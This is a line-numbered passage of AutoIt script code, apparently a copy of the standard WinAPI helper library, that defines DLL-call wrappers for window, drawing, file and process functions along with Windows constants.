  2502. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2503. Local $psid = $acall[2]
  2504. Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
  2505. Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
  2506. DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  2507. _winapi_localfree($psid)
  2508. Return $tsid
  2509. EndFunc
  2510.  
  2511. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  2512. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  2513. If @error Then Return SetError(@error, @extended, "")
  2514. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  2515. Return $aresult
  2516. EndFunc
  2517.  
  2518. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  2519. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  2520. If @error Then Return SetError(@error, @extended, "")
  2521. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  2522. Return $aresult
  2523. EndFunc
  2524.  
  2525. Global $__gainprocess_winapi[64][2] = [[0, 0]]
  2526. Global $__gawinlist_winapi[64][2] = [[0, 0]]
  2527. Global Const $__winapiconstant_wm_setfont = 48
  2528. Global Const $__winapiconstant_fw_normal = 400
  2529. Global Const $__winapiconstant_default_charset = 1
  2530. Global Const $__winapiconstant_out_default_precis = 0
  2531. Global Const $__winapiconstant_clip_default_precis = 0
  2532. Global Const $__winapiconstant_default_quality = 0
  2533. Global Const $__winapiconstant_format_message_allocate_buffer = 256
  2534. Global Const $__winapiconstant_format_message_from_system = 4096
  2535. Global Const $__winapiconstant_logpixelsx = 88
  2536. Global Const $__winapiconstant_logpixelsy = 90
  2537. Global Const $hgdi_error = Ptr(-1)
  2538. Global Const $invalid_handle_value = Ptr(-1)
  2539. Global Const $clr_invalid = -1
  2540. Global Const $__winapiconstant_flashw_caption = 1
  2541. Global Const $__winapiconstant_flashw_tray = 2
  2542. Global Const $__winapiconstant_flashw_timer = 4
  2543. Global Const $__winapiconstant_flashw_timernofg = 12
  2544. Global Const $__winapiconstant_gw_hwndnext = 2
  2545. Global Const $__winapiconstant_gw_child = 5
  2546. Global Const $__winapiconstant_di_mask = 1
  2547. Global Const $__winapiconstant_di_image = 2
  2548. Global Const $__winapiconstant_di_normal = 3
  2549. Global Const $__winapiconstant_di_compat = 4
  2550. Global Const $__winapiconstant_di_defaultsize = 8
  2551. Global Const $__winapiconstant_di_nomirror = 16
  2552. Global Const $__winapiconstant_display_device_attached_to_desktop = 1
  2553. Global Const $__winapiconstant_display_device_primary_device = 4
  2554. Global Const $__winapiconstant_display_device_mirroring_driver = 8
  2555. Global Const $__winapiconstant_display_device_vga_compatible = 16
  2556. Global Const $__winapiconstant_display_device_removable = 32
  2557. Global Const $__winapiconstant_display_device_modespruned = 134217728
  2558. Global Const $null_brush = 5
  2559. Global Const $null_pen = 8
  2560. Global Const $black_brush = 4
  2561. Global Const $dkgray_brush = 3
  2562. Global Const $dc_brush = 18
  2563. Global Const $gray_brush = 2
  2564. Global Const $hollow_brush = $null_brush
  2565. Global Const $ltgray_brush = 1
  2566. Global Const $white_brush = 0
  2567. Global Const $black_pen = 7
  2568. Global Const $dc_pen = 19
  2569. Global Const $white_pen = 6
  2570. Global Const $ansi_fixed_font = 11
  2571. Global Const $ansi_var_font = 12
  2572. Global Const $device_default_font = 14
  2573. Global Const $default_gui_font = 17
  2574. Global Const $oem_fixed_font = 10
  2575. Global Const $system_font = 13
  2576. Global Const $system_fixed_font = 16
  2577. Global Const $default_palette = 15
  2578. Global Const $mb_precomposed = 1
  2579. Global Const $mb_composite = 2
  2580. Global Const $mb_useglyphchars = 4
  2581. Global Const $ulw_alpha = 2
  2582. Global Const $ulw_colorkey = 1
  2583. Global Const $ulw_opaque = 4
  2584. Global Const $wh_callwndproc = 4
  2585. Global Const $wh_callwndprocret = 12
  2586. Global Const $wh_cbt = 5
  2587. Global Const $wh_debug = 9
  2588. Global Const $wh_foregroundidle = 11
  2589. Global Const $wh_getmessage = 3
  2590. Global Const $wh_journalplayback = 1
  2591. Global Const $wh_journalrecord = 0
  2592. Global Const $wh_keyboard = 2
  2593. Global Const $wh_keyboard_ll = 13
  2594. Global Const $wh_mouse = 7
  2595. Global Const $wh_mouse_ll = 14
  2596. Global Const $wh_msgfilter = -1
  2597. Global Const $wh_shell = 10
  2598. Global Const $wh_sysmsgfilter = 6
  2599. Global Const $wpf_asyncwindowplacement = 4
  2600. Global Const $wpf_restoretomaximized = 2
  2601. Global Const $wpf_setminposition = 1
  2602. Global Const $kf_extended = 256
  2603. Global Const $kf_altdown = 8192
  2604. Global Const $kf_up = 32768
  2605. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  2606. Global Const $llkhf_injected = 16
  2607. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  2608. Global Const $llkhf_up = BitShift($kf_up, 8)
  2609. Global Const $ofn_allowmultiselect = 512
  2610. Global Const $ofn_createprompt = 8192
  2611. Global Const $ofn_dontaddtorecent = 33554432
  2612. Global Const $ofn_enablehook = 32
  2613. Global Const $ofn_enableincludenotify = 4194304
  2614. Global Const $ofn_enablesizing = 8388608
  2615. Global Const $ofn_enabletemplate = 64
  2616. Global Const $ofn_enabletemplatehandle = 128
  2617. Global Const $ofn_explorer = 524288
  2618. Global Const $ofn_extensiondifferent = 1024
  2619. Global Const $ofn_filemustexist = 4096
  2620. Global Const $ofn_forceshowhidden = 268435456
  2621. Global Const $ofn_hidereadonly = 4
  2622. Global Const $ofn_longnames = 2097152
  2623. Global Const $ofn_nochangedir = 8
  2624. Global Const $ofn_nodereferencelinks = 1048576
  2625. Global Const $ofn_nolongnames = 262144
  2626. Global Const $ofn_nonetworkbutton = 131072
  2627. Global Const $ofn_noreadonlyreturn = 32768
  2628. Global Const $ofn_notestfilecreate = 65536
  2629. Global Const $ofn_novalidate = 256
  2630. Global Const $ofn_overwriteprompt = 2
  2631. Global Const $ofn_pathmustexist = 2048
  2632. Global Const $ofn_readonly = 1
  2633. Global Const $ofn_shareaware = 16384
  2634. Global Const $ofn_showhelp = 16
  2635. Global Const $ofn_ex_noplacesbar = 1
  2636. Global Const $tmpf_fixed_pitch = 1
  2637. Global Const $tmpf_vector = 2
  2638. Global Const $tmpf_truetype = 4
  2639. Global Const $tmpf_device = 8
  2640. Global Const $duplicate_close_source = 1
  2641. Global Const $duplicate_same_access = 2
  2642. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  2643. Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  2644. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  2645. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  2646. Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  2647.  
  2648. Func _winapi_attachconsole($iprocessid = -1)
  2649. Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
  2650. If @error Then Return SetError(@error, @extended, False)
  2651. Return $aresult[0]
  2652. EndFunc
  2653.  
  2654. Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
  2655. Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
  2656. If @error Then Return SetError(@error, @extended, False)
  2657. Return $aresult[0]
  2658. EndFunc
  2659.  
  2660. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  2661. Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  2662. If @error Then Return SetError(@error, @extended, False)
  2663. Return $aresult[0]
  2664. EndFunc
  2665.  
  2666. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  2667. Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  2668. If @error Then Return SetError(@error, @extended, False)
  2669. Return $aresult[0]
  2670. EndFunc
  2671.  
  2672. Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
  2673. Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  2674. If @error Then Return SetError(@error, @extended, -1)
  2675. Return $aresult[0]
  2676. EndFunc
  2677.  
  2678. Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
  2679. Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
  2680. If @error Then Return SetError(@error, @extended, -1)
  2681. Return $aresult[0]
  2682. EndFunc
  2683.  
  2684. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  2685. DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
  2686. Return SetError(@error, @extended, $tpoint)
  2687. EndFunc
  2688.  
  2689. Func _winapi_closehandle($hobject)
  2690. Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  2691. If @error Then Return SetError(@error, @extended, False)
  2692. Return $aresult[0]
  2693. EndFunc
  2694.  
  2695. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  2696. Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  2697. If @error Then Return SetError(@error, @extended, 0)
  2698. Return $aresult[0]
  2699. EndFunc
  2700.  
  2701. Func _winapi_commdlgextendederror()
  2702. Local Const $cderr_dialogfailure = 65535
  2703. Local Const $cderr_findresfailure = 6
  2704. Local Const $cderr_initialization = 2
  2705. Local Const $cderr_loadresfailure = 7
  2706. Local Const $cderr_loadstrfailure = 5
  2707. Local Const $cderr_lockresfailure = 8
  2708. Local Const $cderr_memallocfailure = 9
  2709. Local Const $cderr_memlockfailure = 10
  2710. Local Const $cderr_nohinstance = 4
  2711. Local Const $cderr_nohook = 11
  2712. Local Const $cderr_notemplate = 3
  2713. Local Const $cderr_registermsgfail = 12
  2714. Local Const $cderr_structsize = 1
  2715. Local Const $fnerr_buffertoosmall = 12291
  2716. Local Const $fnerr_invalidfilename = 12290
  2717. Local Const $fnerr_subclassfailure = 12289
  2718. Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
  2719. If @error Then Return SetError(@error, @extended, 0)
  2720. Switch $aresult[0]
  2721. Case $cderr_dialogfailure
  2722. Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
  2723. Case $cderr_findresfailure
  2724. Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
  2725. Case $cderr_initialization
  2726. Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
  2727. Case $cderr_loadresfailure
  2728. Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
  2729. Case $cderr_loadstrfailure
  2730. Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
  2731. Case $cderr_lockresfailure
  2732. Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
  2733. Case $cderr_memallocfailure
  2734. Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
  2735. Case $cderr_memlockfailure
  2736. Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
  2737. Case $cderr_nohinstance
  2738. Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
  2739. Case $cderr_nohook
  2740. Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
  2741. Case $cderr_notemplate
  2742. Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
  2743. Case $cderr_registermsgfail
  2744. Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
  2745. Case $cderr_structsize
  2746. Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
  2747. Case $fnerr_buffertoosmall
  2748. Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
  2749. Case $fnerr_invalidfilename
  2750. Return SetError($aresult[0], 0, "A file name is invalid.")
  2751. Case $fnerr_subclassfailure
  2752. Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
  2753. EndSwitch
  2754. Return Hex($aresult[0])
  2755. EndFunc
  2756.  
  2757. Func _winapi_copyicon($hicon)
  2758. Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  2759. If @error Then Return SetError(@error, @extended, 0)
  2760. Return $aresult[0]
  2761. EndFunc
  2762.  
  2763. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  2764. Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
  2765. If @error Then Return SetError(@error, @extended, 0)
  2766. Return $aresult[0]
  2767. EndFunc
  2768.  
  2769. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  2770. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  2771. If @error Then Return SetError(@error, @extended, 0)
  2772. Return $aresult[0]
  2773. EndFunc
  2774.  
  2775. Func _winapi_createcompatibledc($hdc)
  2776. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  2777. If @error Then Return SetError(@error, @extended, 0)
  2778. Return $aresult[0]
  2779. EndFunc
  2780.  
  2781. Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
  2782. Local $snametype = "wstr"
  2783. If $sname = "" Then
  2784. $sname = 0
  2785. $snametype = "ptr"
  2786. EndIf
  2787. Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
  2788. If @error Then Return SetError(@error, @extended, 0)
  2789. Return $aresult[0]
  2790. EndFunc
  2791.  
  2792. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
  2793. Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  2794. If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  2795. If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  2796. If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  2797. If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  2798. If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  2799. If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  2800. Switch $icreation
  2801. Case 0
  2802. $icd = $create_new
  2803. Case 1
  2804. $icd = $create_always
  2805. Case 2
  2806. $icd = $open_existing
  2807. Case 3
  2808. $icd = $open_always
  2809. Case 4
  2810. $icd = $truncate_existing
  2811. EndSwitch
  2812. If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  2813. If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  2814. If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  2815. If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  2816. Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  2817. If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
  2818. Return $aresult[0]
  2819. EndFunc
  2820.  
  2821. Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
  2822. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
  2823. If @error Then Return SetError(@error, @extended, 0)
  2824. Return $aresult[0]
  2825. EndFunc
  2826.  
  2827. Func _winapi_createfontindirect($tlogfont)
  2828. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
  2829. If @error Then Return SetError(@error, @extended, 0)
  2830. Return $aresult[0]
  2831. EndFunc
  2832.  
  2833. Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
  2834. Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
  2835. If @error Then Return SetError(@error, @extended, 0)
  2836. Return $aresult[0]
  2837. EndFunc
  2838.  
  2839. Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
  2840. Local $tcommand = 0
  2841. Local $sappnametype = "wstr", $sdirtype = "wstr"
  2842. If $sappname = "" Then
  2843. $sappnametype = "ptr"
  2844. $sappname = 0
  2845. EndIf
  2846. If $scommand <> "" Then
  2847. $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
  2848. DllStructSetData($tcommand, "Text", $scommand)
  2849. EndIf
  2850. If $sdir = "" Then
  2851. $sdirtype = "ptr"
  2852. $sdir = 0
  2853. EndIf
  2854. Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
  2855. If @error Then Return SetError(@error, @extended, False)
  2856. Return $aresult[0]
  2857. EndFunc
  2858.  
  2859. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  2860. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  2861. If @error Then Return SetError(@error, @extended, 0)
  2862. Return $aresult[0]
  2863. EndFunc
  2864.  
  2865. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  2866. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  2867. If @error Then Return SetError(@error, @extended, 0)
  2868. Return $aresult[0]
  2869. EndFunc
  2870.  
  2871. Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
  2872. Local $hdc = _winapi_getdc($hwnd)
  2873. Local $hdestdc = _winapi_createcompatibledc($hdc)
  2874. Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  2875. Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
  2876. Local $trect = DllStructCreate($tagrect)
  2877. DllStructSetData($trect, 1, 0)
  2878. DllStructSetData($trect, 2, 0)
  2879. DllStructSetData($trect, 3, $iwidth)
  2880. DllStructSetData($trect, 4, $iheight)
  2881. If $brgb Then
  2882. $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  2883. EndIf
  2884. Local $hbrush = _winapi_createsolidbrush($icolor)
  2885. _winapi_fillrect($hdestdc, $trect, $hbrush)
  2886. If @error Then
  2887. _winapi_deleteobject($hbitmap)
  2888. $hbitmap = 0
  2889. EndIf
  2890. _winapi_deleteobject($hbrush)
  2891. _winapi_releasedc($hwnd, $hdc)
  2892. _winapi_selectobject($hdestdc, $hold)
  2893. _winapi_deletedc($hdestdc)
  2894. If NOT $hbitmap Then Return SetError(1, 0, 0)
  2895. Return $hbitmap
  2896. EndFunc
  2897.  
  2898. Func _winapi_createsolidbrush($ncolor)
  2899. Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
  2900. If @error Then Return SetError(@error, @extended, 0)
  2901. Return $aresult[0]
  2902. EndFunc
  2903.  
  2904. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  2905. If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  2906. Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
  2907. If @error Then Return SetError(@error, @extended, 0)
  2908. Return $aresult[0]
  2909. EndFunc
  2910.  
  2911. Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
  2912. Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  2913. If @error Then Return SetError(@error, @extended, 0)
  2914. Return $aresult[0]
  2915. EndFunc
  2916.  
  2917. Func _winapi_deletedc($hdc)
  2918. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  2919. If @error Then Return SetError(@error, @extended, False)
  2920. Return $aresult[0]
  2921. EndFunc
  2922.  
  2923. Func _winapi_deleteobject($hobject)
  2924. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  2925. If @error Then Return SetError(@error, @extended, False)
  2926. Return $aresult[0]
  2927. EndFunc
  2928.  
  2929. Func _winapi_destroyicon($hicon)
  2930. Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  2931. If @error Then Return SetError(@error, @extended, False)
  2932. Return $aresult[0]
  2933. EndFunc
  2934.  
  2935. Func _winapi_destroywindow($hwnd)
  2936. Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  2937. If @error Then Return SetError(@error, @extended, False)
  2938. Return $aresult[0]
  2939. EndFunc
  2940.  
  2941. Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
  2942. Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
  2943. If @error Then Return SetError(@error, @extended, False)
  2944. Return $aresult[0]
  2945. EndFunc
  2946.  
  2947. Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
  2948. Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
  2949. If @error Then Return SetError(@error, @extended, False)
  2950. Return $aresult[0]
  2951. EndFunc
  2952.  
  2953. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  2954. Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  2955. If @error Then Return SetError(@error, @extended, False)
  2956. Return $aresult[0]
  2957. EndFunc
  2958.  
  2959. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  2960. Local $ioptions
  2961. Switch $iflags
  2962. Case 1
  2963. $ioptions = $__winapiconstant_di_mask
  2964. Case 2
  2965. $ioptions = $__winapiconstant_di_image
  2966. Case 3
  2967. $ioptions = $__winapiconstant_di_normal
  2968. Case 4
  2969. $ioptions = $__winapiconstant_di_compat
  2970. Case 5
  2971. $ioptions = $__winapiconstant_di_defaultsize
  2972. Case Else
  2973. $ioptions = $__winapiconstant_di_nomirror
  2974. EndSwitch
  2975. Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  2976. If @error Then Return SetError(@error, @extended, False)
  2977. Return $aresult[0]
  2978. EndFunc
  2979.  
  2980. Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
  2981. _winapi_moveto($hdc, $ix1, $iy1)
  2982. If @error Then Return SetError(@error, @extended, False)
  2983. _winapi_lineto($hdc, $ix2, $iy2)
  2984. If @error Then Return SetError(@error, @extended, False)
  2985. Return True
  2986. EndFunc
  2987.  
  2988. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  2989. Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
  2990. If @error Then Return SetError(@error, @extended, 0)
  2991. Return $aresult[0]
  2992. EndFunc
  2993.  
  2994. Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
  2995. Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
  2996. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2997. Return $acall[4]
  2998. EndFunc
  2999.  
  3000. Func _winapi_enablewindow($hwnd, $fenable = True)
  3001. Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
  3002. If @error Then Return SetError(@error, @extended, False)
  3003. Return $aresult[0]
  3004. EndFunc
  3005.  
  3006. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  3007. Local $tname = 0, $iflags = 0, $adevice[5]
  3008. If $sdevice <> "" Then
  3009. $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  3010. DllStructSetData($tname, "Text", $sdevice)
  3011. EndIf
  3012. Local $tdevice = DllStructCreate($tagdisplay_device)
  3013. Local $idevice = DllStructGetSize($tdevice)
  3014. DllStructSetData($tdevice, "Size", $idevice)
  3015. DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
  3016. If @error Then Return SetError(@error, @extended, 0)
  3017. Local $in = DllStructGetData($tdevice, "Flags")
  3018. If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  3019. If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  3020. If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  3021. If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  3022. If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  3023. If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  3024. $adevice[0] = True
  3025. $adevice[1] = DllStructGetData($tdevice, "Name")
  3026. $adevice[2] = DllStructGetData($tdevice, "String")
  3027. $adevice[3] = $iflags
  3028. $adevice[4] = DllStructGetData($tdevice, "ID")
  3029. Return $adevice
  3030. EndFunc
  3031.  
  3032. Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
  3033. __winapi_enumwindowsinit()
  3034. If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  3035. __winapi_enumwindowschild($hwnd, $fvisible)
  3036. Return $__gawinlist_winapi
  3037. EndFunc
  3038.  
  3039. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
